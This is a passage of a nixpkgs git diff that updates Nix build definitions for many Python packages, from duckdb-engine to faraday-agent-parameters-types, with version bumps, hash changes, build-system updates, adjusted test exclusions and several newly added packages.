buildPythonPackage rec { pname = "duckdb-engine"; - version = "0.9.2"; - format = "pyproject"; + version = "0.11.2"; + pyproject = true; disabled = pythonOlder "3.7"; @@ -23,7 +23,7 @@ buildPythonPackage rec { repo = "duckdb_engine"; owner = "Mause"; rev = "refs/tags/v${version}"; - hash = "sha256-T02nGF+YlughRQPinb0I3NC6xsarh4+qRhG8YfhTvhI="; + hash = "sha256-yW1gaZ0B6JNX98KzAxf146goniNmWnkMUmJRrScot1w="; }; patches = [ ./remote_data.patch ]; diff --git a/pkgs/development/python-modules/duckdb/default.nix b/pkgs/development/python-modules/duckdb/default.nix index a7cd1aa36dd45..fd197f9305d63 100644 --- a/pkgs/development/python-modules/duckdb/default.nix +++ b/pkgs/development/python-modules/duckdb/default.nix @@ -1,4 +1,5 @@ { lib +, stdenv , buildPythonPackage , duckdb , fsspec @@ -13,25 +14,24 @@ }: buildPythonPackage rec { - inherit (duckdb) pname version src; - format = "setuptools"; - - # 1. let nix control build cores - # 2. default to extension autoload & autoinstall disabled - # 3. unconstrain setuptools_scm version - patches = (duckdb.patches or []) ++ [ ./setup.patch ]; + inherit (duckdb) patches pname src version; + pyproject = true; postPatch = (duckdb.postPatch or "") + '' # we can't use sourceRoot otherwise patches don't apply, because the patches apply to the C++ library cd tools/pythonpkg - substituteInPlace setup.py --subst-var NIX_BUILD_CORES - - # avoid dependency on mypy - rm tests/stubs/test_stubs.py + # 1. let nix control build cores + # 2. default to extension autoload & autoinstall disabled + substituteInPlace setup.py \ + --replace-fail "ParallelCompile()" 'ParallelCompile("NIX_BUILD_CORES")' \ + --replace-fail "define_macros.extend([('DUCKDB_EXTENSION_AUTOLOAD_DEFAULT', '1'), ('DUCKDB_EXTENSION_AUTOINSTALL_DEFAULT', '1')])" "" ''; - BUILD_HTTPFS = 1; + env = { + BUILD_HTTPFS = 1; + DUCKDB_BUILD_UNITY = 1; + }; nativeBuildInputs = [ pybind11 @@ -52,21 +52,35 @@ buildPythonPackage rec { pytestCheckHook ]; + # test flags from .github/workflows/Python.yml + pytestFlagsArray = [ + "--verbose" + ] ++ lib.optionals stdenv.isDarwin [ + "tests/fast" + ]; + + disabledTestPaths = [ + # avoid dependency on mypy + "tests/stubs/test_stubs.py" + ]; + disabledTests = [ # tries to make http request "test_install_non_existent_extension" - # test is racy and interrupt can be delivered before or after target point + + # https://github.com/duckdb/duckdb/issues/10702 + # tests are racy and interrupt can be delivered before or after target point + # causing a later test to fail with a spurious KeyboardInterrupt "test_connection_interrupt" + "test_query_interruption" ]; + # remove duckdb dir to prevent import confusion by pytest preCheck = '' export HOME="$(mktemp -d)" + rm -rf duckdb ''; - setupPyBuildFlags = [ - "--inplace" - ]; - pythonImportsCheck = [ "duckdb" ]; diff --git a/pkgs/development/python-modules/duckdb/setup.patch b/pkgs/development/python-modules/duckdb/setup.patch deleted file mode 100644 index 8c8f790a66a1d..0000000000000 --- a/pkgs/development/python-modules/duckdb/setup.patch +++ /dev/null @@ -1,30 +0,0 @@ -diff --git a/tools/pythonpkg/setup.py b/tools/pythonpkg/setup.py -index 30f1e1ccdd..6784169fcb 100644 ---- a/tools/pythonpkg/setup.py -+++ b/tools/pythonpkg/setup.py -@@ -96,7 +96,7 @@ def parallel_cpp_compile( - return - self._compile(obj, src, ext, cc_args, extra_postargs, pp_opts) - -- list(multiprocessing.pool.ThreadPool(multiprocessing.cpu_count()).imap(_single_compile, objects)) -+ list(multiprocessing.pool.ThreadPool(@NIX_BUILD_CORES@).imap(_single_compile, objects)) - return objects - - -@@ -163,7 +163,6 @@ if 'BUILD_HTTPFS' in os.environ: - for ext in extensions: - toolchain_args.extend(['-DDUCKDB_EXTENSION_{}_LINKED'.format(ext.upper())]) - --toolchain_args.extend(['-DDUCKDB_EXTENSION_AUTOLOAD_DEFAULT=1', '-DDUCKDB_EXTENSION_AUTOINSTALL_DEFAULT=1']) - - - class get_pybind_include(object): -@@ -348,7 +347,7 @@ setup( - packages=packages, - include_package_data=True, - python_requires='>=3.7.0', -- setup_requires=setup_requires + ["setuptools_scm<7.0.0", 'pybind11>=2.6.0'], -+ setup_requires=setup_requires + ["setuptools_scm", 'pybind11>=2.6.0'], - use_scm_version=setuptools_scm_conf, - tests_require=['google-cloud-storage', 'mypy', 'pytest'], - classifiers=[ diff --git a/pkgs/development/python-modules/duden/default.nix b/pkgs/development/python-modules/duden/default.nix new file mode 100644 index 0000000000000..6381da7271eee --- /dev/null +++ b/pkgs/development/python-modules/duden/default.nix @@ -0,0 +1,56 @@ +{ lib +, beautifulsoup4 +, buildPythonPackage +, crayons +, fetchFromGitHub +, poetry-core +, pyxdg +, pyyaml +, requests +, setuptools +}: + +let + finalAttrs = { + pname = "duden"; + version = "0.19.1"; + pyproject = true; + + src = fetchFromGitHub { + owner = "radomirbosak"; + repo = "duden"; + rev = finalAttrs.version; + hash = "sha256-c6IItrjFVbsdYg3sDrExcxv7aRcKhd/M5hiZD+wBZ2Y="; + }; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + beautifulsoup4 + crayons + pyxdg + pyyaml + requests + setuptools + ]; + + pythonImportsCheck = [ "duden" ]; + + meta = { + homepage = "https://github.com/radomirbosak/duden"; + changelog = "https://github.com/radomirbosak/duden/blob/${finalAttrs.src.rev}/CHANGELOG.md"; + description = "CLI for https://duden.de dictionary written in Python"; + longDescription = '' + duden is a CLI-based program and python module, which can provide + various information about given german word. The provided data are + parsed from german dictionary duden.de. + ''; + license = with lib.licenses; [ mit ]; + mainProgram = "duden"; + maintainers = with lib.maintainers; [ AndersonTorres linuxissuper ]; + }; + }; +in +buildPythonPackage finalAttrs diff --git a/pkgs/development/python-modules/dvc-ssh/default.nix b/pkgs/development/python-modules/dvc-ssh/default.nix index 3dd39273307f3..3a1ef111c0cd5 100644 --- a/pkgs/development/python-modules/dvc-ssh/default.nix +++ b/pkgs/development/python-modules/dvc-ssh/default.nix @@ -10,12 +10,12 @@ buildPythonPackage rec { pname = "dvc-ssh"; - version = "4.0.0"; + version = "4.1.1"; pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-WaWcoWKXauNHZRFDt+MnqpFWjxzya+yAo0TRNQURViA="; + hash = "sha256-lvC6oAXQR4u7s+11n6NgQExPc9yrq3JAmmXtuOw22tI="; }; pythonRemoveDeps = [ diff --git a/pkgs/development/python-modules/dvc-studio-client/default.nix b/pkgs/development/python-modules/dvc-studio-client/default.nix index cc4b2149b1c3d..c336f5a3cc74b 100644 --- a/pkgs/development/python-modules/dvc-studio-client/default.nix +++ b/pkgs/development/python-modules/dvc-studio-client/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "dvc-studio-client"; - version = "0.18.0"; + version = "0.20.0"; format = "pyproject"; disabled = pythonOlder "3.8"; @@ -20,7 +20,7 @@ buildPythonPackage rec { owner = "iterative"; repo = pname; rev = "refs/tags/${version}"; - hash = "sha256-ZgjNshF5UFOY5TewNMlJDOajjI1Bfd/a4v7HrAKwaMw="; + hash = "sha256-JLrsbgifoUnN1Mwml9tO3/SkA6miE14AGjxrFwEcRks="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/dvc/default.nix b/pkgs/development/python-modules/dvc/default.nix index c469ffcb9754c..d05a37f7ad798 100644 --- a/pkgs/development/python-modules/dvc/default.nix +++ b/pkgs/development/python-modules/dvc/default.nix @@ -18,7 +18,7 @@ , dvc-task , fetchFromGitHub , flatten-dict -, flufl_lock +, flufl-lock , funcy , grandalf , gto @@ -98,7 +98,7 @@ buildPythonPackage rec { dvc-studio-client dvc-task flatten-dict - flufl_lock + flufl-lock funcy grandalf gto diff --git a/pkgs/development/python-modules/dvclive/default.nix b/pkgs/development/python-modules/dvclive/default.nix index f657ab37083c2..cc22a3aad2334 100644 --- a/pkgs/development/python-modules/dvclive/default.nix +++ b/pkgs/development/python-modules/dvclive/default.nix @@ -32,16 +32,16 @@ buildPythonPackage rec { pname = "dvclive"; - version = "3.41.1"; + version = "3.42.0"; pyproject = true; - disabled = pythonOlder "3.8"; + disabled = pythonOlder "3.9"; src = fetchFromGitHub { owner = "iterative"; repo = pname; rev = "refs/tags/${version}"; - hash = "sha256-PbgazRK3+CoJISh1ZXGjxDfbKHY/XqSvVrkpycvPi7c="; + hash = "sha256-7MesRCfXr/f2MBokZhraFQqIuOyWCjIDRYZcvzM5Ezc="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/e3-core/default.nix b/pkgs/development/python-modules/e3-core/default.nix index 95759b6a096c0..ef0b31b177ab2 100644 --- a/pkgs/development/python-modules/e3-core/default.nix +++ b/pkgs/development/python-modules/e3-core/default.nix @@ -1,4 +1,5 @@ -{ buildPythonPackage +{ autoPatchelfHook +, buildPythonPackage , colorama , coverage , distro @@ -6,12 +7,14 @@ , httpretty , lib , mock +, packaging , psutil , pytest , pytest-socket , python-dateutil , pyyaml , requests +, requests-cache , requests-toolbelt , stdenv , setuptools @@ -24,26 +27,40 @@ buildPythonPackage rec { pname = "e3-core"; - version = "22.3.1"; + version = "22.4.0"; pyproject = true; src = fetchFromGitHub { owner = "AdaCore"; repo = "e3-core"; rev = "v${version}"; - hash = "sha256-4StHOJldfeqApdF6D14Euzg9HvZ2e7G4/OQ0UrEbEIw="; + hash = "sha256-dgEk2/qRfAYwUz+e5TWKUy/aPLpmyWZ32OV1i7QM9Fs="; }; - patches = [ ./0001-use-distro-over-ld.patch ]; + patches = [ + ./0001-use-distro-over-ld.patch + ]; - nativeBuildInputs = [ setuptools ]; + nativeBuildInputs = [ + autoPatchelfHook + setuptools + ]; propagatedBuildInputs = [ - colorama pyyaml python-dateutil requests requests-toolbelt tqdm stevedore + colorama + packaging + pyyaml + python-dateutil + requests + requests-cache + requests-toolbelt + tqdm + stevedore ] ++ lib.optional stdenv.isLinux [ # See setup.py:24. These are required only on Linux. Darwin has its own set # of requirements. - psutil distro + psutil + distro ]; pythonImportsCheck = [ "e3" ]; diff --git a/pkgs/development/python-modules/e3-testsuite/default.nix b/pkgs/development/python-modules/e3-testsuite/default.nix new file mode 100644 index 0000000000000..6c13bbb5a08e3 --- /dev/null +++ b/pkgs/development/python-modules/e3-testsuite/default.nix @@ -0,0 +1,39 @@ +{ buildPythonPackage +, e3-core +, fetchFromGitHub +, lib +, setuptools +, stdenv +}: + +buildPythonPackage rec { + pname = "e3-testsuite"; + version = "26.0"; + pyproject = true; + + src = fetchFromGitHub { + owner = "AdaCore"; + repo = "e3-testsuite"; + rev = "v${version}"; + hash = "sha256-V20tX0zi2DRHO42udUcW/CDMyBxh1uSTgac0zZGubsI="; + }; + + nativeBuildInputs = [ + setuptools + ]; + + propagatedBuildInputs = [ + e3-core + ]; + + pythonImportsCheck = [ "e3" ]; + + meta = with lib; { + changelog = "https://github.com/AdaCore/e3-testsuite/releases/tag/${src.rev}"; + homepage = "https://github.com/AdaCore/e3-testsuite/"; + description = "Generic testsuite framework in Python"; + license = licenses.gpl3Only; + maintainers = with maintainers; [ heijligen ]; + platforms = platforms.linux; + }; +} diff --git a/pkgs/development/python-modules/easydict/default.nix b/pkgs/development/python-modules/easydict/default.nix index 2a06fe02d1337..14aae92ef5c4f 100644 --- a/pkgs/development/python-modules/easydict/default.nix +++ b/pkgs/development/python-modules/easydict/default.nix @@ -5,12 +5,12 @@ buildPythonPackage rec { pname = "easydict"; - version = "1.11"; + version = "1.13"; format = "setuptools"; src = fetchPypi { inherit pname version; - hash = "sha256-3LHS7SjrMAyORs03E0A3Orxi98FNbep0/fxvEGkGHHg="; + hash = "sha256-sRNd7bxByAEOK8H3fsl0TH+qQrzhoch0FnkUSdbId4A="; }; doCheck = false; # No tests in archive diff --git a/pkgs/development/python-modules/editorconfig/default.nix b/pkgs/development/python-modules/editorconfig/default.nix index eaca751784749..f55442b2f584e 100644 --- a/pkgs/development/python-modules/editorconfig/default.nix +++ b/pkgs/development/python-modules/editorconfig/default.nix @@ -1,35 +1,26 @@ { lib , buildPythonPackage , fetchFromGitHub +, setuptools , cmake }: -let - tests = fetchFromGitHub { - owner = "editorconfig"; - repo = "editorconfig-core-test"; - rev = "e407c1592df0f8e91664835324dea85146f20189"; - hash = "sha256-9WSEkMJOewPqJjB6f7J6Ir0L+U712hkaN+GszjnGw7c="; - }; -in buildPythonPackage rec { pname = "editorconfig"; - version = "0.12.3"; - format = "setuptools"; + version = "0.12.4"; + pyproject = true; src = fetchFromGitHub { owner = "editorconfig"; repo = "editorconfig-core-py"; rev = "v${version}"; - hash = "sha256-ZwoTMgk18+BpPNtXKQUMXGcl2Lp+1RQVyPHgk6gHWh8="; - # workaround until https://github.com/editorconfig/editorconfig-core-py/pull/40 is merged - # fetchSubmodules = true; + hash = "sha256-+m674bLj6xs7MWU+8BMixEwy7/TjyES0lvCLLogTDHQ="; + fetchSubmodules = true; }; - postUnpack = '' - cp -r ${tests}/* source/tests - chmod +w -R source/tests - ''; + nativeBuildInputs = [ + setuptools + ]; nativeCheckInputs = [ cmake @@ -38,9 +29,12 @@ buildPythonPackage rec { dontUseCmakeConfigure = true; checkPhase = '' + runHook preCheck + cmake . - # utf_8_char fails with Python 3 - ctest -E "utf_8_char" . + ctest . + + runHook postCheck ''; pythonImportsCheck = [ "editorconfig" ]; diff --git a/pkgs/development/python-modules/edk2-pytool-library/default.nix b/pkgs/development/python-modules/edk2-pytool-library/default.nix index cdfb91d720425..9fb346b0f135e 100644 --- a/pkgs/development/python-modules/edk2-pytool-library/default.nix +++ b/pkgs/development/python-modules/edk2-pytool-library/default.nix @@ -16,7 +16,7 @@ buildPythonPackage rec { pname = "edk2-pytool-library"; - version = "0.21.2"; + version = "0.21.4"; pyproject = true; disabled = pythonOlder "3.10"; @@ -25,7 +25,7 @@ buildPythonPackage rec { owner = "tianocore"; repo = "edk2-pytool-library"; rev = "refs/tags/v${version}"; - hash = "sha256-xJ5OuQXvccgEjzuMqa75+mv3MipgdsiHc9yjrZYoCow="; + hash = "sha256-LzIK4GGVWAp4JXlKE7Mo0cPIH2srnJIlu36bzovNkwE="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/eigenpy/default.nix b/pkgs/development/python-modules/eigenpy/default.nix index d3edf67483000..e3ec6adf2f72b 100644 --- a/pkgs/development/python-modules/eigenpy/default.nix +++ b/pkgs/development/python-modules/eigenpy/default.nix @@ -2,27 +2,36 @@ , stdenv , fetchFromGitHub , cmake +, doxygen , boost , eigen , numpy +, scipy }: stdenv.mkDerivation (finalAttrs: { pname = "eigenpy"; - version = "3.3.0"; + version = "3.4.0"; src = fetchFromGitHub { owner = "stack-of-tasks"; repo = finalAttrs.pname; rev = "v${finalAttrs.version}"; fetchSubmodules = true; - hash = "sha256-INOg1oL5APMI2YZDe4yOJadhMsG7b+NfEcSr9FsdqeU="; + hash = "sha256-/k5eltoeUW05FTjvStAOw+tguWLUaUced8TArrk4UDI="; }; + cmakeFlags = [ + "-DINSTALL_DOCUMENTATION=ON" + "-DBUILD_TESTING_SCIPY=ON" + ]; + strictDeps = true; nativeBuildInputs = [ cmake + doxygen + scipy ]; buildInputs = [ diff --git a/pkgs/development/python-modules/elasticsearch8/default.nix b/pkgs/development/python-modules/elasticsearch8/default.nix index 84376cdbdb19d..c83de92d03bf4 100644 --- a/pkgs/development/python-modules/elasticsearch8/default.nix +++ b/pkgs/development/python-modules/elasticsearch8/default.nix @@ -10,14 +10,14 @@ buildPythonPackage rec { pname = "elasticsearch8"; - version = "8.12.0"; + version = "8.12.1"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-YFsrdsAAelOest7Pw3+Zl3lV+Q/e7YMELmL3TodBKSM="; + hash = "sha256-RuL1zYmEZEaaXb2LEW+BUmo7TcdGHH/5fjgesxXtbls="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/elementpath/default.nix b/pkgs/development/python-modules/elementpath/default.nix index b9efe304226f0..79389d56fc701 100644 --- a/pkgs/development/python-modules/elementpath/default.nix +++ b/pkgs/development/python-modules/elementpath/default.nix @@ -2,12 +2,13 @@ , buildPythonPackage , fetchFromGitHub , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "elementpath"; - version = "4.1.5"; - format = "setuptools"; + version = "4.3.0"; + pyproject = true; disabled = pythonOlder "3.7"; @@ -15,9 +16,13 @@ buildPythonPackage rec { owner = "sissaschool"; repo = "elementpath"; rev = "refs/tags/v${version}"; - hash = "sha256-5K2xcnTo3/A6/pCxQn5qZqni7C64p/yNAWWJlhQeKe4="; + hash = "sha256-DE8XAZwYzbYaTJoBNqHR0x4Wigmke+/zgj562X391qM="; }; + nativeBuildInputs = [ + setuptools + ]; + # avoid circular dependency with xmlschema which directly depends on this doCheck = false; diff --git a/pkgs/development/python-modules/enamlx/default.nix b/pkgs/development/python-modules/enamlx/default.nix index db16d913cbdbf..7c90d8a4b9717 100644 --- a/pkgs/development/python-modules/enamlx/default.nix +++ b/pkgs/development/python-modules/enamlx/default.nix @@ -9,14 +9,14 @@ buildPythonPackage rec { pname = "enamlx"; - version = "0.6.2"; + version = "0.6.4"; format = "setuptools"; src = fetchFromGitHub { owner = "frmdstryr"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-LHqOZ1uLWFbUeQAGKoMH9GljhRq1K4RTVWzgV/pt3g8="; + hash = "sha256-C3/G0bnu1EQh0elqdrpCwkFPZU4qmkUX7WRSRK9nkM4="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/environs/default.nix b/pkgs/development/python-modules/environs/default.nix index 8c179349e18eb..67bca70171e4a 100644 --- a/pkgs/development/python-modules/environs/default.nix +++ b/pkgs/development/python-modules/environs/default.nix @@ -4,16 +4,16 @@ , dj-email-url , django-cache-url , fetchFromGitHub +, flit-core , marshmallow , pytestCheckHook , python-dotenv , pythonOlder -, setuptools }: buildPythonPackage rec { pname = "environs"; - version = "10.3.0"; + version = "11.0.0"; pyproject = true; disabled = pythonOlder "3.8"; @@ -22,11 +22,11 @@ buildPythonPackage rec { owner = "sloria"; repo = "environs"; rev = "refs/tags/${version}"; - hash = "sha256-D6Kp8aHiUls7+cACJ3DwrS4OftA5uMbAu4l5IyR4F5U="; + hash = "sha256-9BqIlA2HcUlBiyTB7zxaLO0CzBRkx5mKMMdhvdr2Uqg="; }; nativeBuildInputs = [ - setuptools + flit-core ]; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/envs/default.nix b/pkgs/development/python-modules/envs/default.nix index 307c7dfaa6142..ce1a07dda3f2d 100644 --- a/pkgs/development/python-modules/envs/default.nix +++ b/pkgs/development/python-modules/envs/default.nix @@ -4,7 +4,7 @@ , fetchPypi , jinja2 , mock -, nose +, pynose , poetry-core , pythonOlder , terminaltables @@ -13,7 +13,7 @@ buildPythonPackage rec { pname = "envs"; version = "1.4"; - format = "pyproject"; + pyproject = true; disabled = pythonOlder "3.7"; @@ -34,7 +34,7 @@ buildPythonPackage rec { nativeCheckInputs = [ mock - nose + pynose ]; checkPhase = '' diff --git a/pkgs/development/python-modules/essentials-openapi/default.nix b/pkgs/development/python-modules/essentials-openapi/default.nix new file mode 100644 index 0000000000000..5fc8251476566 --- /dev/null +++ b/pkgs/development/python-modules/essentials-openapi/default.nix @@ -0,0 +1,65 @@ +{ + buildPythonPackage, + fetchFromGitHub, + lib, + click, + essentials, + flask, + hatchling, + httpx, + jinja2, + markupsafe, + pydantic, + pytestCheckHook, + pythonImportsCheckHook, + pyyaml, + rich, + setuptools +}: +buildPythonPackage rec { + pname = "essentials-openapi"; + version = "1.0.9"; + pyproject = true; + + src = fetchFromGitHub { + owner = "Neoteroi"; + repo = "essentials-openapi"; + rev = "refs/tags/v${version}"; + hash = "sha256-/NYv0NrE8+0kQg5G3Qf2DtesMHlmKQYczNT8pFlNFZE="; + }; + + nativeBuildInputs = [ + hatchling + ]; + + nativeCheckInputs = [ + flask + httpx + pydantic + pytestCheckHook + rich + setuptools + ]; + + propagatedBuildInputs = [ + pyyaml + essentials + markupsafe + ]; + + passthru.optional-dependencies = { + full = [ click jinja2 rich httpx ]; + }; + + pythonImportsCheck = [ + "openapidocs" + ]; + + meta = with lib; { + homepage = "https://github.com/Neoteroi/essentials-openapi"; + description = "Functions to handle OpenAPI Documentation"; + changelog = "https://github.com/Neoteroi/essentials-openapi/releases/v${version}"; + license = licenses.mit; + maintainers = with maintainers; [aldoborrero zimbatm]; + }; +} diff --git a/pkgs/development/python-modules/essentials/default.nix b/pkgs/development/python-modules/essentials/default.nix new file mode 100644 index 0000000000000..69a494a0eb5de --- /dev/null +++ b/pkgs/development/python-modules/essentials/default.nix @@ -0,0 +1,38 @@ +{ + buildPythonPackage, + fetchFromGitHub, + setuptools, + pytestCheckHook, + pythonImportsCheckHook, + lib, +}: +buildPythonPackage rec { + pname = "essentials"; + version = "1.1.5"; + pyproject = true; + + src = fetchFromGitHub { + owner = "Neoteroi"; + repo = "essentials"; + rev = "v${version}"; + hash = "sha256-WMHjBVkeSoQ4Naj1U7Bg9j2hcoErH1dx00BPKiom9T4="; + }; + + nativeBuildInputs = [ setuptools ]; + + nativeCheckInputs = [ + pytestCheckHook + ]; + + pythonImportsCheck = [ + "essentials" + ]; + + meta = with lib; { + homepage = "https://github.com/Neoteroi/essentials"; + description = "General purpose classes and functions"; + changelog = "https://github.com/Neoteroi/essentials/releases/v${version}"; + license = licenses.mit; + maintainers = with maintainers; [aldoborrero zimbatm]; + }; +} diff --git a/pkgs/development/python-modules/eth-typing/default.nix b/pkgs/development/python-modules/eth-typing/default.nix index 434fc6d8c10d6..60bafffaea2ab 100644 --- a/pkgs/development/python-modules/eth-typing/default.nix +++ b/pkgs/development/python-modules/eth-typing/default.nix @@ -3,12 +3,13 @@ , buildPythonPackage , pythonOlder , pytestCheckHook +, setuptools }: buildPythonPackage rec { pname = "eth-typing"; - version = "3.2.0"; - format = "setuptools"; + version = "4.0.0"; + pyproject = true; disabled = pythonOlder "3.6"; @@ -16,9 +17,13 @@ buildPythonPackage rec { owner = "ethereum"; repo = "eth-typing"; rev = "refs/tags/v${version}"; - hash = "sha256-klN38pIQ9ZOFV7dzXNvylPGfifR8pXRLTJ3VE579AY0="; + hash = "sha256-JT/2bCPYFSRNt3V7QnHSAJR7HrZ1JpRKdU7gQpoYIn0="; }; + nativeBuildInputs = [ + setuptools + ]; + nativeCheckInputs = [ pytestCheckHook ]; diff --git a/pkgs/development/python-modules/eth-utils/default.nix b/pkgs/development/python-modules/eth-utils/default.nix index 6d4cbf930f566..8686da98d92a9 100644 --- a/pkgs/development/python-modules/eth-utils/default.nix +++ b/pkgs/development/python-modules/eth-utils/default.nix @@ -8,22 +8,27 @@ , isPyPy , pytestCheckHook , pythonOlder +, setuptools , toolz }: buildPythonPackage rec { pname = "eth-utils"; - version = "2.1.1"; - format = "setuptools"; + version = "4.0.0"; + pyproject = true; disabled = pythonOlder "3.6"; src = fetchFromGitHub { owner = "ethereum"; - repo = pname; + repo = "eth-utils"; rev = "v${version}"; - hash = "sha256-Ogp4o99smw5qVwDec6zd/xVqqKMyNk41iBfRNzrwuvE="; + hash = "sha256-k2pHM1eKPzoGxZlU6yT7bZMv4CCWGaZaSnFHSbT76Zo="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ eth-hash eth-typing @@ -44,6 +49,7 @@ buildPythonPackage rec { pythonImportsCheck = [ "eth_utils" ]; meta = { + changelog = "https://github.com/ethereum/eth-utils/blob/${src.rev}/docs/release_notes.rst"; description = "Common utility functions for codebases which interact with ethereum"; homepage = "https://github.com/ethereum/eth-utils"; license = lib.licenses.mit; diff --git a/pkgs/development/python-modules/etils/default.nix b/pkgs/development/python-modules/etils/default.nix index 36c5ebb71c527..b6990e50330f7 100644 --- a/pkgs/development/python-modules/etils/default.nix +++ b/pkgs/development/python-modules/etils/default.nix @@ -28,14 +28,14 @@ buildPythonPackage rec { pname = "etils"; - version = "1.6.0"; + version = "1.7.0"; pyproject = true; disabled = pythonOlder "3.10"; src = fetchPypi { inherit pname version; - hash = "sha256-xjX70Cp5/tStdoJdMTBrWB0itAZxch2qi8J5z2Mz5Io="; + hash = "sha256-l7aP0l4YVoMhUobvOlTjgZm2JF9f6L5r7cEYm+QlY1A="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/eventlet/default.nix b/pkgs/development/python-modules/eventlet/default.nix index 07f19e3493d9b..f9f4649db3f19 100644 --- a/pkgs/development/python-modules/eventlet/default.nix +++ b/pkgs/development/python-modules/eventlet/default.nix @@ -42,6 +42,12 @@ buildPythonPackage rec { url = "https://src.fedoraproject.org/rpms/python-eventlet/raw/rawhide/f/python3.12.patch"; hash = "sha256-MxzprFaVcV1uamjjTeIz+2gPvfPy+Y1QaA20znMdwoA="; }) + # fix tests running on kernel 6.6 or newer + # https://github.com/eventlet/eventlet/pull/905 + (fetchpatch { + url = "https://github.com/eventlet/eventlet/commit/413327b229c80a97e9c89c52f7714224942701b4.patch"; + hash = "sha256-rbYPd5cg3ElSYWYaZJrS7bb4nMJkTMO0ScvNnXRXzE0="; + }) ]; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/expiring-dict/default.nix b/pkgs/development/python-modules/expiring-dict/default.nix index cd3d925088484..be2b5c875d20c 100644 --- a/pkgs/development/python-modules/expiring-dict/default.nix +++ b/pkgs/development/python-modules/expiring-dict/default.nix @@ -26,6 +26,6 @@ buildPythonPackage rec { description = "Python dict with TTL support for auto-expiring caches"; homepage = "https://github.com/dparker2/py-expiring-dict"; license = licenses.mit; - maintainers = with maintainers; [ ajs124 ]; + maintainers = with maintainers; [ ]; }; } diff --git a/pkgs/development/python-modules/ezyrb/default.nix b/pkgs/development/python-modules/ezyrb/default.nix index 024509dad06b8..44d49ee16edd8 100644 --- a/pkgs/development/python-modules/ezyrb/default.nix +++ b/pkgs/development/python-modules/ezyrb/default.nix @@ -14,7 +14,7 @@ buildPythonPackage rec { pname = "ezyrb"; - version = "1.3.0.post2402"; + version = "1.3.0.post2403"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -23,7 +23,7 @@ buildPythonPackage rec { owner = "mathLab"; repo = "EZyRB"; rev = "refs/tags/v${version}"; - hash = "sha256-MiFNTz3vrN4rMHK7e4ntE35wzgnPt6yczCv7XDcUlO8="; + hash = "sha256-t0Mv8Kae6N+jHeQx57ljDR5lmmbW2mqrlqygtrwGWhY="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/fairseq/default.nix b/pkgs/development/python-modules/fairseq/default.nix index 35275c32780a1..e784f8ec0b0d4 100644 --- a/pkgs/development/python-modules/fairseq/default.nix +++ b/pkgs/development/python-modules/fairseq/default.nix @@ -96,6 +96,7 @@ buildPythonPackage rec { disabledTests = [ # this test requires xformers "test_xformers_single_forward_parity" + "test_mask_for_xformers" # this test requires iopath "test_file_io_async" # these tests require network access @@ -105,6 +106,8 @@ buildPythonPackage rec { "test_waitk_checkpoint" "test_sotasty_es_en_600m_checkpoint" "test_librispeech_s2t_conformer_s_checkpoint" + # TODO research failure + "test_multilingual_translation_latent_depth" ]; disabledTestPaths = [ @@ -117,6 +120,7 @@ buildPythonPackage rec { homepage = "https://github.com/pytorch/fairseq"; license = licenses.mit; platforms = platforms.linux; + hydraPlatforms = []; maintainers = with maintainers; [ happysalada ]; }; } diff --git a/pkgs/development/python-modules/fakeredis/default.nix b/pkgs/development/python-modules/fakeredis/default.nix index b39241bc9058d..a63c257fc6808 100644 --- a/pkgs/development/python-modules/fakeredis/default.nix +++ b/pkgs/development/python-modules/fakeredis/default.nix @@ -6,19 +6,19 @@ , lupa , poetry-core , pybloom-live +, pyprobables , pytest-asyncio , pytest-mock , pytestCheckHook , pythonOlder , redis -, six , sortedcontainers }: buildPythonPackage rec { pname = "fakeredis"; - version = "2.20.1"; - format = "pyproject"; + version = "2.21.1"; + pyproject = true; disabled = pythonOlder "3.7"; @@ -26,7 +26,7 @@ buildPythonPackage rec { owner = "dsoftwareinc"; repo = "fakeredis-py"; rev = "refs/tags/v${version}"; - hash = "sha256-TmgHAskR5MF/lzF0NHgXKecLsSCoc7xsm7gRgupm0Ws="; + hash = "sha256-2+ZZTWhUb6rj7oWPnDP0PJUHj0CJpOD8iZxmtO4xSbo="; }; nativeBuildInputs = [ @@ -35,7 +35,6 @@ buildPythonPackage rec { propagatedBuildInputs = [ redis - six sortedcontainers ]; @@ -54,7 +53,13 @@ buildPythonPackage rec { aioredis ]; bf = [ - pybloom-live + pyprobables + ]; + cf = [ + pyprobables + ]; + probabilistic = [ + pyprobables ]; }; @@ -66,7 +71,7 @@ buildPythonPackage rec { description = "Fake implementation of Redis API"; homepage = "https://github.com/dsoftwareinc/fakeredis-py"; changelog = "https://github.com/cunla/fakeredis-py/releases/tag/v${version}"; - license = with licenses; [ mit ]; + license = with licenses; [ bsd3 ]; maintainers = with maintainers; [ fab ]; }; } diff --git a/pkgs/development/python-modules/faraday-agent-parameters-types/default.nix b/pkgs/development/python-modules/faraday-agent-parameters-types/default.nix index ca7a90aa647ac..99df6317604e3 100644 --- a/pkgs/development/python-modules/faraday-agent-parameters-types/default.nix +++ b/pkgs/development/python-modules/faraday-agent-parameters-types/default.nix @@ -10,7 +10,7 @@ buildPythonPackage rec { pname = "faraday-agent-parameters-types"; - version = "1.4.0"; + version = "1.5.0"; pyproject = true; disabled = pythonOlder "3.7"; @@ -18,7 +18,7 @@ buildPythonPackage rec { src = fetchPypi { pname = "faraday_agent_parameters_types"; inherit version; - hash = "sha256-pene97VKOX8mZEQgHkOBDu72Dpww2D9nDjA94s5F9rM="; + hash = "sha256-Txw7fXDnuFB9fTETkMhEgjOsjllPQB8IEG3lN3Yj/4k="; }; postPatch = '' diff --git 